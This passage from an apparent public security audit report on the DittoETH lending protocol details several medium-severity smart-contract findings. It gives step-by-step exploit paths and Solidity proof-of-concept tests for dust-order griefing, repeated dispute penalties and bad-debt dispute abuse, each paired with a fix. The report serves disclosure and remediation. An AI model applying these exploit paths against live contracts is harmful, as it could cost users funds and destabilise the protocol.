183:                             STypes.Order storage lowestShort = s.shorts[asset][lowestSell.id];
184:                             lowestShort.ercAmount = lowestSell.ercAmount;
185:                         } else {
186:                             b.dustAskId = lowestSell.id;
187:                             s.asks[asset][lowestSell.id].ercAmount = lowestSell.ercAmount;
188:                         }
189:                         // Check reduced dust threshold for existing limit orders
190:                         if (lowestSell.ercAmount.mul(lowestSell.price) >= LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)) {
191:                             b.dustShortId = b.dustAskId = 0;
192:                         }
193:                     }
194:                     incomingBid.ercAmount = 0;
195:                     return matchIncomingBid(asset, incomingBid, matchTotal, b);
196:                 }
197:             } else {

If the amount in lowestSell is less than LibAsset.minAskEth(asset).mul(C.DUST_FACTOR), matchIncomingBid() deletes in the code section below.

BidOrdersFacet.sol#L292-L296

        if (b.dustAskId > 0) {
            IDiamond(payable(address(this)))._cancelAsk(asset, b.dustAskId);
        } else if (b.dustShortId > 0) {
            IDiamond(payable(address(this)))._cancelShort(asset, b.dustShortId);
        }

LibAsset.minAskEth(asset).mul(C.DUST_FACTOR) translates to minAskEth/2 because C.DUST_FACTOR is a constant and is 0.5 ether. So if a ShortOrder has minAskEth/2 it won’t be deleted.

A ShortRecord can be exited with the id of a cancelled ShortOrder that still points to it.

When a call is made to the exitShortWallet() or exitShortErcEscrowed() function, shortOrderId is passed which is expected to be the order id of the ShortRecord currently being exited. exitShortWallet() function calls checkShortMinErc() and passes the shortOrderId.

ExitShortFacet.sol#L67-L73

        LibSRUtil.checkShortMinErc({
            asset: asset,
            initialStatus: initialStatus,
            shortOrderId: shortOrderId,
            shortRecordId: id,
            shorter: msg.sender
        });

In the call to checkShortMinErc(), the shortOrderId is verified in line 94 below by checking if the shortOrder currently points to ShortRecord or if its address points to the shorter, i.e. the owner of the ShortRecord.

LibSRUtil.sol#L81-L99

091:         if (initialStatus == SR.PartialFill) {
092:             // Verify shortOrder
093:             STypes.Order storage shortOrder = s.shorts[asset][shortOrderId];
094:             if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
095: 
096:             if (shortRecord.status == SR.Closed) {
097:                 // Check remaining shortOrder
098:                 if (shortOrder.ercAmount < minShortErc) {
099:                     // @dev The resulting SR will not have PartialFill status after cancel
100:                     LibOrders.cancelShort(asset, shortOrderId);
101:                     isCancelled = true;
102:                 }
103:             } else {
104:                 // Check remaining shortOrder and remaining shortRecord
105:                 if (shortOrder.ercAmount + shortRecord.ercDebt < minShortErc) revert Errors.CannotLeaveDustAmount();
106:             }
107:         } else if (shortRecord.status != SR.Closed && shortRecord.ercDebt < minShortErc) {
108:             revert Errors.CannotLeaveDustAmount();
109:         }

Note: it doesn’t check if the ShortOrder is cancelled. This means we can use a cancelled ShortOrder that points to the ShortRecord and is owned by the owner of the ShortRecord being exited.

A malicious user can use these two properties of the codebase to create a ShortOrder that has minAskEth/2 as ercAmount and 0 debt in its ShortRecord by following these setps:

Create 1 shortOrder with address A and another with address B. They shouldn’t get matched.
Cancel address A’s shortOrder than cancel address B’s. This order is strict and is to ensure Address B’s ShortOrder is reused before address A’s.
Create another ShortOrder with address A of 3000 DUSD that doesn’t get matched. This short will reuse the id of the ShortRecord associated with its first ShortOrder but will reuse address B’s ShortOrder as its ShortOrder. This leaves address A’s former ShortOrder cancelled but still pointing to its ShortRecord.
Create a Bid of 3000 - minAskEth/2 DUSD to match the ShortOrder and leave minAskEth/2 in the ShortOrder. This also lets the ShortOrder have a PartiallyFilled status to pass the check on line 91 above.
Exit the ShortOrder with 3000 - minAskEth/2 DUSD as buybackAmount and the former id of address A’s cancelled ShortOrder. The buybackAmount is the amount of debt (DUSD) to pay back. So we’ll be paying everything back.
After paying back we’ll have an empty ShortRecord and the ShortOrder will have an ercAmount of minAskEth/2.

If the minAskEth is small, we’ll end up creating small ShortOrders in the market. ShortOrders like this may make a transaction trying to fill a large order run out of gas and may disincentivize liquidators from liquidating them if they become liquidatable.

Impact

The issue above has the following effects:

Large orders may run out of gas if a malicious user puts many orders with minAskEth/2 erc amounts on the market.
Liquidators are disincentivized from liquidating them because of their small amounts.

Proof of Concept

The test below can be run in the Shorts.t.sol file. It shows how a malicious user can create a ShortOrder with a small amount.

Make sure to import the library below:

import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";

    function test_CreateTinySR() public {
        // create two short orders 
        fundLimitShortOpt(0.5 ether, 2000 ether, receiver);
        fundLimitShortOpt(1 ether, 5000 ether, sender);
        
        vm.prank(sender);
        cancelShort(101); // cancel sender's short order so it won't be the first reused order
        
        vm.startPrank(receiver);
        cancelShort(100); // cancel receiver's short order so it will be the first reused order
        vm.stopPrank();
        
        // 1. Create a short add it to the market, the short reuses id 100 (receiver's former short).
        // 2. Create a bid and let it match the short leaving minAskEth/2 i.e. minAskEth*dustFactor.
        //    The dust factor is 0.5.
        uint minAskEth = diamond.getAssetNormalizedStruct(asset).minAskEth;
        uint88 debt = uint88(3000 ether - minAskEth/2);
        fundLimitShortOpt(1 ether, 3000 ether, sender);
        fundLimitBidOpt(1 ether, debt, receiver);

        // The sender's Short Record is reused and partially filled. It also has a new short Order.
        // The old cancelled short Order still references this ShortRecord.
        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertTrue(short.status == SR.PartialFill); 
        // The Short Record's new Short Order
        STypes.Order[] memory shortOrders = getShorts();
        assertEq(shortOrders.length, 1);
        assertEq(shortOrders[0].id, 100);
        assertEq(shortOrders[0].ercAmount, minAskEth/2); // order has minAsk/2
        
        // give sender the amount needed to exit
        deal(asset, sender, debt);
        vm.prank(sender);

        // exit with the old short order id which has > minShortErc
        diamond.exitShortWallet(asset,  C.SHORT_STARTING_ID, debt, 101);
        // short Order still exists
        shortOrders = getShorts();
        assertEq(shortOrders[0].id, 100);
        assertEq(shortOrders[0].ercAmount, minAskEth/2);
        // short Record has been closed and will only be filled up to minAskEth/2
        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertEq(uint(short.status), uint(SR.Closed)); 
    }

Recommended Mitigation Steps

Consider checking if the ShortOrder being validated in checkShortMinErc() is cancelled.

LibSRUtil.sol#L84

-    if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
+    if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter || shortOrder.orderType == O.Cancelled) revert Errors.InvalidShortOrder();

Assessed type

DoS

ditto-eth (DittoETH) confirmed and commented:

I think the new check should be shortOrder.orderType != O.LimitShort, but otherwise great find.

hansfriese (judge) decreased severity to Medium and commented:

Medium is more appropriate as there is no direct fund loss.

[M-07] Using cached price to create a proposal reduce the efficacity of redemptions for asset peg

Submitted by Infect3d, also found by klau5, XDZIBECX, falconhoof, Evo, ilchovski, LinKenji, foxb868, and nonseodion

One of the conditions for updating oracle prices in Ditto is when an action related to shorts is executed. This is important because, in the event of high volatility, shorts must be closed out before bad debt occurs in the protocol. While liquidations does update the oracle before processing the short, this is not the case for redemptions.

Redemptions, as liquidations, play a central role in Ditto. By allowing users to redeem shorts with poor collateralization for a 1:1 exchange rate of the asset, Ditto is able to maintain a stable peg for its pegged asset. For this reason, it is important to reduce the pricing delay for the redeems, as much as for the liquidations.

File: contracts\facets\RedemptionFacet.sol
56:     function proposeRedemption(
57:         address asset,
58:         MTypes.ProposalInput[] calldata proposalInput,
59:         uint88 redemptionAmount,
60:         uint88 maxRedemptionFee
61:     ) external isNotFrozen(asset) nonReentrant {
...:
...:		//...
74: 
75:⚠		p.oraclePrice = LibOracle.getPrice(p.asset); //<@ getting cached price
76: 
77:         bytes memory slate;
78:         for (uint8 i = 0; i < proposalInput.length; i++) {
79:             p.shorter = proposalInput[i].shorter;
80:             p.shortId = proposalInput[i].shortId;
81:             p.shortOrderId = proposalInput[i].shortOrderId;
82:             // @dev Setting this above _onlyValidShortRecord to allow skipping
83:             STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];
84: 
85:             /// Evaluate proposed shortRecord
86: 
87:             if (!validRedemptionSR(currentSR, msg.sender, p.shorter, minShortErc)) continue;
88: 
89:             currentSR.updateErcDebt(p.asset);
90:⚠			p.currentCR = currentSR.getCollateralRatio(p.oraclePrice); //<@ Collateral ratio calculated using cached price
91: 
92:             // @dev Skip if proposal is not sorted correctly or if above redemption threshold
93:❌			if (p.previousCR > p.currentCR || p.currentCR >= C.MAX_REDEMPTION_CR) continue; //<@

Impact

If the cached price is not reflective of the current market price, the protocol may either overvalue or undervalue the collateral backing shorts. The usage of cached prices in the proposeRedemption function, as opposed to real-time or recently updated prices will affect the effectiveness of the redemption process in maintaining the asset’s peg in periods of high volatility.

Recommended Mitigation Steps

Do not use cached price for redemptions, but rather an updated price through LibOracle::getSavedOrSpotOraclePrice, for example.

Assessed type

Oracle

raymondfam (lookout) commented:

Oracle price is cached to 15m, mostly done to allow the hint system to work. Will let sponsor to assess the severity of the issue.

ditto-eth (DittoETH) confirmed

[M-08] If a redemption has `N` disputable shorts, it is possible to dispute `N-1` times the redemption to maximize the penalty

Submitted by Infect3d

Ditto is a decentralized CDP protocol allowing users to get stablecoins (called dUSD here) against LST (Liquid Staking Tokens like stETH or rETH) collateral. Depositing LST grant dETH, a shares representing the value deposited in ETH. Users can then open different kind of positions: bids, asks or shorts, each one having its own orderbook.

Ditto implemented a mechanism called Redemption, idea borrowed from Liquity. Redemption allows anyone to redeem dUSD for a value of exactly 1 USD by calling out shorts with very bad CR (collateral ratio) and closing them. This helps the protocol to keep a healthy global market CR, shorters to not be liquidated, and dUSD holders to redeem dUSD with no loss in case of dUSD trading below 1 USD.

Users can propose multiple shorts to be redeemed at once if they meet certain conditions (see Constraints in doc). The shorts must be sorted from lowest CR to highest CR, and all CRs must be below a CR of 2. If a proposal do not properly follow these rules, anyone can dispute the proposal by showing a proof-short: all proposal shorts with a CR higher than the proof become invalid.

For each invalid short, a penalty is applied to the redeemer (and awarded to the disputer) The penalty calculation is based on the CR difference between the disputeCR (proof) and the the currentProposal.CR (lowest invalid CR):

Note: please see scenario in warden’s original submission.

The issue is located in this part of the mechanism and is pretty easy to understand. Let’s imagine 4 shorts in a list of shorts: … < CR1 < CR2 < CR3 < CR4 < … CR1 = 1.1, CR2 = 1.2, CR3 = 1.3, CR4 = 1.4, and all have an ercDebt of 1 ETH.

Redeemer propose [CR2, CR3, CR4] to redeem.

Disputer sees that there is in fact CR1 that is lower than all the proposed shorts.

Disputer could dispute the proposal by giving CR1 as a proof, and CR2 as the invalid CR, which would also invalid all higher CRs in the proposal. This would give (let’s take callerFeePct value from tests, 0.005 or 0.5%):

penaltyPct = min( max(0.005, (1.2 - 1.1)/1.2 ), 0.33) = min( max(0.005, 0.091), 0.33) = 0.091.
penaltyAmt = (1 + 1 + 1)ETH * 0.091 = 3 * 0.091 = 0.273 ETH.

The vulnerability lies in the fact that the disputer can dispute this proposal 3 times:

1st: dispute CR4 with CR1.
2nd: dispute CR3 with CR1.
3rd: dispute CR2 with CR1.

By doing this, the disputer will get penalty applied 3 times, and in some case, the total penalty using this trick will be higher than the penalty when disputing the whole proposal at once, as shown in the coded proof of concept.

For CR1:

penaltyPct = min( max(0.005, (1.4 - 1.1)/1.4 ), 0.33) = 0.214.
penaltyAmt = 1 ETH * 0.214 = 0.214 ETH.

For CR2:

penaltyPct = min( max(0.005, (1.3 - 1.1)/1.3 ), 0.33) = 0.142.
penaltyAmt = 1 ETH * 0.214 = 0.142 ETH.

For CR3:

penaltyPct = min( max(0.005, (1.2 - 1.1)/1.2 ), 0.33) = 0.091.
penaltyAmt = 1 ETH * 0.091 = 0.091 ETH.

sum of penaltyAmt = 0.447 ETH.

We can see here how more beneficial it to adopt the second strategy.

Impact

Higher penalty than expected for redeemer, higher reward for disputer.

Proof of Concept

Copy this gist to test/Redemption.t.sol and run the tests by executing forge test -vvv --mt AuditDisputeRedemption.

You’ll get that output, showing that disputing redemptions one by one give a higher penalty:

Running 2 tests for test/Redemption.t.sol:RedemptionTest
[PASS] test_AuditDisputeRedemptionAllAtOnce() (gas: 2213036)
Logs:
  redeemer reward: 7.69230769230769231e21

[PASS] test_AuditDisputeRedemptionOneByOne() (gas: 2250699)
Logs:
  redeemer reward: 3.846153846153846155e21
  redeemer reward: 4.166666666666666665e21

Recommended Mitigation Steps

If a user gives N as the incorrectIndex in the disputed proposal, knowing that the proposal is sorted from lowest to highest CR, ensure that proposal[N-1].CR <= disputeCR (revert in that case).

Assessed type

Math

ditto-eth (DittoETH) confirmed, but disagreed with severity and commented:

Really good find. Looks like the formula can be exploited to give a higher fee than intended. That said, I’m leaning more towards low/medium because the only effect is a higher fee for the disputer, incorrect proposals should happen very rarely from an honest user, and this doesn’t affect the redemption from working properly.

hansfriese (judge) decreased severity to Medium and commented:

I agree Medium is more appropriate.

[M-09] Valid redemption proposals can be disputed when bad debt occurs by applying it to a SR outside of the proposal

Submitted by Cosine, also found by 0xbepresent

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L259

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L151-L162

Impact

When bad debt occurs in the system it is socialized among all short records by increasing the ercDebtRate. At the next interaction with this short the updateErcDebt function is called to apply the portion of bad debt to the short:

function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
    AppStorage storage s = appStorage();

    // Distribute ercDebt
    uint64 ercDebtRate = s.asset[asset].ercDebtRate;
    uint88 ercDebt = short.ercDebt.mulU88(ercDebtRate - short.ercDebtRate);

    if (ercDebt > 0) {
        short.ercDebt += ercDebt;
        short.ercDebtRate = ercDebtRate;
    }
}

As we can see the updateErcDebt function has the mentioned properties. It increases the debt and therefore, influences the CR without updating the updatedAt param. This enables the following attack path:

User creates a valid redemption proposal.
Bad debt occurs in the system.
The attacker applies the bad debt to a short record that is not part of the proposal and by doing so falls below the CR of any of the SRs in the proposal.
Attacker disputes the redemption proposal to receive the penalty fee.

The updateErcDebt function is internal, but the proposeRedemption function can be used to apply it on any SR.

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file and showcases that the proposeRedemption function can be used to apply bad debt to SRs without updating the updatedAt parameter. That this can be misused to steal funds as shown with another POC in the mentioned report.

function test_proposeRedemption_does_update_updatedAt() public {
    // setup
    uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
    makeShorts({singleShorter: true});

    skip(1 hours);
    _setETH(1000 ether);

    // propose a redemption
    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});

    uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;

    vm.prank(receiver);
    diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);

    uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;

    // updatedAt param was not updated
    assertEq(updatedAtBefore, updatedAtAfter);
}

Recommended Mitigation Steps

Update the updatedAt parameter every time the updateErcDebt function is called, or/and call updateErcDebt in the disputeRedemption function on the SR at the incorrectIndex before comparing the CRs.

Assessed type

Context

ditto-eth (DittoETH) confirmed

Low Risk and Non-Critical Issues

For this audit, 18 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by hihen received the top score from the judge.

The following wardens also submitted reports: Pechenite, oualidpro, slvDev, albahaca, cheatc0d3, 0xbepresent, serial-coder, 0xSecuri, Bube, pfapostol, nonseodion, Infect3d, Topmark, Rolezn, klau5, Bigsam, and caglankaan.

[01] Multiplication on the result of a division

Dividing a number by another often results in a loss of precision. Multiplying the result by another number increases the loss of precision, often significantly. For example: x*(y/z) should be re-written as (x*z)/y.

There are 3 instances:

LibOracle.sol (93-93, 141-141):

93:                 uint256 twapPriceNormalized = twapPrice * (1 ether / C.DECIMAL_USDC);

141:         uint256 twapPriceNormalized = twapPrice * (1 ether / C.DECIMAL_USDC);

LibOrders.sol (47-47):

47:             uint88 shares = eth * (timeTillMatch / 1 days);

[02] Events may be emitted out of order due to reentrancy

Ensure that events follow the best practice of check-effects-interaction, and are emitted before external calls.

BridgeRouterFacet.sol (72-72, 90-90, 122-122, 143-143):

/// @audit deposit() is called prior to this emission in deposit()
72:         emit Events.Deposit(bridge, msg.sender, dethAmount);

/// @audit depositEth() is called prior to this emission in depositEth()
90:         emit Events.DepositEth(bridge, msg.sender, dethAmount);

/// @audit withdraw() is called prior to this emission in withdraw()
122:         emit Events.Withdraw(bridge, msg.sender, dethAmount, fee);

/// @audit withdraw() is called prior to this emission in withdrawTapp()
143:         emit Events.WithdrawTapp(bridge, msg.sender, dethAmount);

ExitShortFacet.sol (75-75, 210-210):

/// @audit burnMsgSenderDebt() is called prior to this emission in exitShortWallet(), which will call `burnFrom()`
75:         emit Events.ExitShortWallet(asset, msg.sender, id, buybackAmount);

/// @audit createForcedBid() is called prior to this emission in exitShort()
210:         emit Events.ExitShort(asset, msg.sender, id, e.ercFilled);

PrimaryLiquidationFacet.sol (87-87):

/// @audit _performForcedBid() is called prior to this emission in liquidate(), which will call `createForcedBid()`
87:         emit Events.Liquidate(asset, shorter, id, msg.sender, m.ercDebtMatched);

[03] Unsafe conversion from unsigned to signed values

The int type in Solidity uses the two’s complement system, so it is possible to accidentally overflow a very large uint to an int, even if they share the same number of bytes (e.g. a uint256 number > type(uint128).max will overflow a int256 cast).

Consider using the SafeCast library to prevent any overflows.

UniswapOracleLibrary.sol (62-62, 65-65):

/// @audit uint -> int
62:         int24 tick = int24(tickCumulativesDelta / int32(secondsAgo));

/// @audit uint -> int
65:         if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32(secondsAgo) != 0)) {

[04] Vulnerable versions of packages are being used

This project is using specific package versions which are vulnerable to the specific CVEs listed below. Consider switching to more recent versions of these packages that don’t have these vulnerabilities.

CVE-2023-49798 - HIGH - (@openzeppelin/contracts 4.9.4): OpenZeppelin Contracts is a library for smart contract development. A merge issue when porting the 5.0.1 patch to the 4.9 branch caused a line duplication. In the version of Multicall.sol released in @openzeppelin/contracts@4.9.4 and @openzeppelin/contracts-upgradeable@4.9.4, all subcalls are executed twice. Concretely, this exposes a user to unintentionally duplicate operations like asset transfers. The duplicated delegatecall was removed in version 4.9.5. The 4.9.4 version is marked as deprecated. Users are advised to upgrade. There are no known workarounds for this issue.
CVE-2023-40014 - MEDIUM - (@openzeppelin/contracts >=4.0.0 <4.9.3): OpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts using ERC2771Context along with a custom trusted forwarder may see _msgSender return address(0) in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case for MinimalForwarder from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders. The problem has been patched in v4.9.3.
CVE-2023-34459 - MEDIUM - (@openzeppelin/contracts >=4.7.0 <4.9.2): OpenZeppelin Contracts is a library for smart contract development. Starting in version 4.7.0 and prior to version 4.9.2, when the verifyMultiProof, verifyMultiProofCalldata, procesprocessMultiProof, or processMultiProofCalldat functions are in use, it is possible to construct merkle trees that allow forging a valid multiproof for an arbitrary set of leaves. A contract may be vulnerable if it uses multiproofs for verification and the merkle tree that is processed includes a node with value 0 at depth 1 (just under the root). This could happen inadvertently for balanced trees with 3 leaves or less, if the leaves are not hashed. This could happen deliberately if a malicious tree builder includes such a node in the tree. A contract is not vulnerable if it uses single-leaf proving (verify, verifyCalldata, processProof, or processProofCalldata), or if it uses multiproofs with a known tree that has hashed leaves. Standard merkle trees produced or validated with the @openzeppelin/merkle-tree library are safe. The problem has been patched in version 4.9.2. Some workarounds are available. For those using multiproofs: When constructing merkle trees hash the leaves and do not insert empty nodes in your trees. Using the @openzeppelin/merkle-tree package eliminates this issue. Do not accept user-provided merkle roots without reconstructing at least the first level of the tree. Verify the merkle tree structure by reconstructing it from the leaves.
Global finding

[05] Critical functions should be controlled by time locks

It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a malicious owner making a sandwich attack on a user).

PrimaryLiquidationFacet.sol (122-124):

122:     function _setLiquidationStruct(address asset, address shorter, uint8 id, uint16 shortOrderId)
123:         private
124:         returns (MTypes.PrimaryLiquidation memory)

[06] External function calls within loops

Calling external functions within loops can easily result in insufficient gas. This greatly increases the likelihood of transaction failures, DOS attacks, and other unexpected actions. It is recommended to limit the number of loops within loops that call external functions, and to limit the gas line for each external call.

There are 8 instances:

BidOrdersFacet.sol (145-145, 153-153, 195-195, 201-201):

/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
145:                 return matchIncomingBid(asset, incomingBid, matchTotal, b);

/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
153:                     return matchIncomingBid(asset, incomingBid, matchTotal, b);

/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
195:                     return matchIncomingBid(asset, incomingBid, matchTotal, b);

/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
201:                 return matchIncomingBid(asset, incomingBid, matchTotal, b);

LibOrders.sol (579-579, 591-591, 613-613, 618-618):

/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
579:                     matchIncomingSell(asset, incomingAsk, matchTotal);

/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
591:                         matchIncomingSell(asset, incomingAsk, matchTotal);

/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
613:                     matchIncomingSell(asset, incomingAsk, matchTotal);

/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
618:                 matchIncomingSell(asset, incomingAsk, matchTotal);

[07] Use descriptive constant instead of `0` as a parameter

Passing 0 or 0x0 as a function argument can sometimes result in a security issue (e.g. passing zero as the slippage parameter). A historical example is the infamous 0x0 address bug where numerous tokens were lost. This happens because 0 can be interpreted as an uninitialized address, leading to transfers to the 0x0 address, effectively burning tokens. Moreover, 0 as a denominator in division operations would cause a runtime exception. It’s also often indicative of a logical error in the caller’s code.

Consider using a constant variable with a descriptive name, so it’s clear that the argument is intentionally being used, and for the right reasons.

ShortOrdersFacet.sol (48-48):

48:         incomingShort.shortRecordId = LibShortRecord.createShortRecord(asset, msg.sender, SR.Closed, 0, 0, 0, 0, 0);

[08] Code does not follow the best practice of check-effects-interaction

Code should follow the best-practice of check-effects-interaction, where state variables are updated before any external calls are made. Doing so prevents a large class of reentrancy bugs.

There are 30 instances:

BidOrdersFacet.sol (157-157, 158-158, 160-160, 161-161, 165-165, 167-167, 172-172, 173-173, 176-176, 180-180, 182-182, 184-184, 186-186, 187-187, 191-191, 191-191, 194-194):

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
157:                     incomingBid.ercAmount -= lowestSell.ercAmount;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
158:                     lowestSell.ercAmount = 0;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
160:                         b.matchedShortId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
161:                         b.prevShortId = lowestSell.prevId;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
165:                         b.matchedAskId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
167:                         b.askId = lowestSell.nextId;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
172:                             b.matchedShortId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
173:                             b.prevShortId = lowestSell.prevId;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
176:                             b.matchedAskId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
180:                         lowestSell.ercAmount -= incomingBid.ercAmount;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
182:                             b.dustShortId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
184:                             lowestShort.ercAmount = lowestSell.ercAmount;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
186:                             b.dustAskId = lowestSell.id;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
187:                             s.asks[asset][lowestSell.id].ercAmount = lowestSell.ercAmount;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
191:                             b.dustShortId = b.dustAskId = 0;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
191:                             b.dustShortId = b.dustAskId = 0;

/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
194:                     incomingBid.ercAmount = 0;

ExitShortFacet.sol (56-56, 60-60, 64-64, 189-189, 190-190, 191-191, 199-199, 200-200, 207-207):

/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
56:         Asset.ercDebt -= buybackAmount;

/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
60:             s.vaultUser[Asset.vault][msg.sender].ethEscrowed += collateral;

/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
64:             short.ercDebt -= buybackAmount;

/// @audit `createForcedBid()` is called on line 187
189:         e.ercFilled = e.buybackAmount - e.ercAmountLeft;

/// @audit `createForcedBid()` is called on line 187
190:         Asset.ercDebt -= e.ercFilled;

/// @audit `createForcedBid()` is called on line 187
191:         s.assetUser[e.asset][msg.sender].ercEscrowed -= e.ercFilled;

/// @audit `createForcedBid()` is called on line 187
199:             short.collateral -= e.ethFilled;

/// @audit `createForcedBid()` is called on line 187
200:             short.ercDebt -= e.ercFilled;

/// @audit `createForcedBid()` is called on line 187
207:             VaultUser.ethEscrowed -= e.collateral - e.ethFilled;

PrimaryLiquidationFacet.sol (190-190, 193-193, 194-194, 199-199):

/// @audit `createForcedBid()` is called on line 188
190:         m.ercDebtMatched = m.short.ercDebt - ercAmountLeft;

/// @audit `createForcedBid()` is called on line 188
193:         s.assetUser[m.asset][address(this)].ercEscrowed -= m.ercDebtMatched;

/// @audit `createForcedBid()` is called on line 188
194:         s.asset[m.asset].ercDebt -= m.ercDebtMatched;

/// @audit `createForcedBid()` is called on line 188
199:         m.gasFee = uint88(gasUsed * block.basefee); // @dev(safe-cast)

[09] Names of `private`/`internal` functions should be prefixed with an underscore

It is recommended by the Solidity Style Guide.

There are 65 instances:

BidOrdersFacet.sol (130-135, 215-220, 275-280):

130:     function bidMatchAlgo(
131:         address asset,
132:         STypes.Order memory incomingBid,
133:         MTypes.OrderHint[] memory orderHintArray,
134:         MTypes.BidMatchAlgo memory b
135:     ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {

215:     function matchlowestSell(
216:         address asset,
217:         STypes.Order memory lowestSell,
218:         STypes.Order memory incomingBid,
219:         MTypes.Match memory matchTotal
220:     ) private {

275:     function matchIncomingBid(
276:         address asset,
277:         STypes.Order memory incomingBid,
278:         MTypes.Match memory matchTotal,
279:         MTypes.BidMatchAlgo memory b
280:     ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {

BridgeRouterFacet.sol (148-148):

148:     function maybeUpdateYield(uint256 vault, uint88 amount) private {

ExitShortFacet.sol (213-213):

213:     function getCollateralRatioNonPrice(STypes.ShortRecord storage short) internal view returns (uint256 cRatio) {

PrimaryLiquidationFacet.sol (229-229):

229:     function min88(uint256 a, uint88 b) private pure returns (uint88) {

RedemptionFacet.sol (31-34, 382-384):

31:     function validRedemptionSR(STypes.ShortRecord storage shortRecord, address proposer, address shorter, uint256 minShortErc)
32:         internal
33:         view
34:         returns (bool)

382:     function calculateRedemptionFee(address asset, uint88 colRedeemed, uint88 ercDebtRedeemed)
383:         internal
384:         returns (uint88 redemptionFee)

LibBridgeRouter.sol (21-21, 39-41, 113-113, 144-144, 198-198):

21:     function addDeth(uint256 vault, uint256 bridgePointer, uint88 amount) internal {

39:     function assessDeth(uint256 vault, uint256 bridgePointer, uint88 amount, address rethBridge, address stethBridge)
40:         internal
41:         returns (uint88)

113:     function withdrawalFeePct(uint256 bridgePointer, address rethBridge, address stethBridge) internal view returns (uint256 fee) {

144:     function transferBridgeCredit(address asset, address from, address to, uint88 collateral) internal {

198:     function removeDeth(uint256 vault, uint88 amount, uint88 fee) internal {

LibBytes.sol (11-11):

11:     function readProposalData(address SSTORE2Pointer, uint8 slateLength) internal view returns (MTypes.ProposalData[] memory) {

LibOracle.sol (19-19, 69-75, 117-124, 131-131, 149-149, 156-156, 162-162, 168-168):

19:     function getOraclePrice(address asset) internal view returns (uint256) {

69:     function baseOracleCircuitBreaker(
70:         uint256 protocolPrice,
71:         uint80 roundId,
72:         int256 chainlinkPrice,
73:         uint256 timeStamp,
74:         uint256 chainlinkPriceInEth
75:     ) private view returns (uint256 _protocolPrice) {

117:     function oracleCircuitBreaker(
118:         uint80 roundId,
119:         uint80 baseRoundId,
120:         int256 chainlinkPrice,
121:         int256 baseChainlinkPrice,
122:         uint256 timeStamp,
123:         uint256 baseTimeStamp
124:     ) private view {

